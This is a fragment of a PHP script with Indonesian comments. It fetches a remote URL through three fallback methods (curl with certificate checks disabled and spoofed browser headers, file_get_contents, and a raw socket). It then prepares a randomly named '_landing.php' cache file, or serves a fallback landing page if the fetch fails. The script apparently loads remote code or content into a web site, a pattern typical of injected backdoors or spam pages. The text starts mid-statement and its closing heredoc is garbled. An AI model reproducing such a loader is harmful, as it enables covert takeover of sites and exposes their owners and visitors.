true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 25, CURLOPT_CONNECTTIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0 (Linux; Android 13; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Mobile Safari/537.36', CURLOPT_HTTPHEADER => [ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language: id-ID,id;q=0.9,en;q=0.8', 'Referer: https://seika.id/', ], CURLOPT_ENCODING => '', ]); $res = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($res !== false && $code < 400 && strlen(trim($res)) > 0) return $res; } // Layer 2: file_get_contents $ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => 20, 'follow_location' => 1, 'max_redirects' => 5, 'ignore_errors' => true, 'header' => implode("\r\n", [ 'User-Agent: Mozilla/5.0 (Linux; Android 13) AppleWebKit/537.36', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Referer: https://seika.id/', ]), ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $res = @file_get_contents($url, false, $ctx); if ($res !== false && strlen(trim($res)) > 0) return $res; // Layer 3: raw socket $parsed = parse_url($url); if (!$parsed || empty($parsed['host'])) return false; $host = $parsed['host']; $port = $parsed['port'] ?? (($parsed['scheme'] ?? 'https') === 'https' ? 443 : 80); $path = ($parsed['path'] ?? '/') . (!empty($parsed['query']) ? '?' . $parsed['query'] : ''); $scheme = $parsed['scheme'] ?? 'https'; $fp = @fsockopen(($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10); if (!$fp) return false; $req = "GET $path HTTP/1.1\r\n"; $req .= "Host: $host\r\n"; $req .= "User-Agent: Mozilla/5.0\r\n"; $req .= "Accept: */*\r\n"; $req .= "Connection: close\r\n\r\n"; fwrite($fp, $req); $response = ''; while (!feof($fp)) $response .= fread($fp, 8192); fclose($fp); $parts = explode("\r\n\r\n", $response, 2); return $parts[1] ?? false; } // ─── MAIN ──────────────────────────────────────────────── $work_dir = get_work_dir(); $cache_file = $work_dir . '/' . bin2hex(random_bytes(4)) . '_landing.php'; $raw = fetch_remote($REMOTE_URL); if ($raw === false || strlen(trim($raw)) === 0) { // Remote gagal → tampilkan landing page fallback header('HTTP/1.1 200 OK'); header('Content-Type: text/html; charset=utf-8'); $title = $SITE_TITLE; $desc = $SITE_DESC ?: 'Selamat datang di ' . $SITE_TITLE; $logo = $SITE_LOGO ?: 'data:image/svg+xml,' . rawurlencode(''); echo <<
$desc
$desc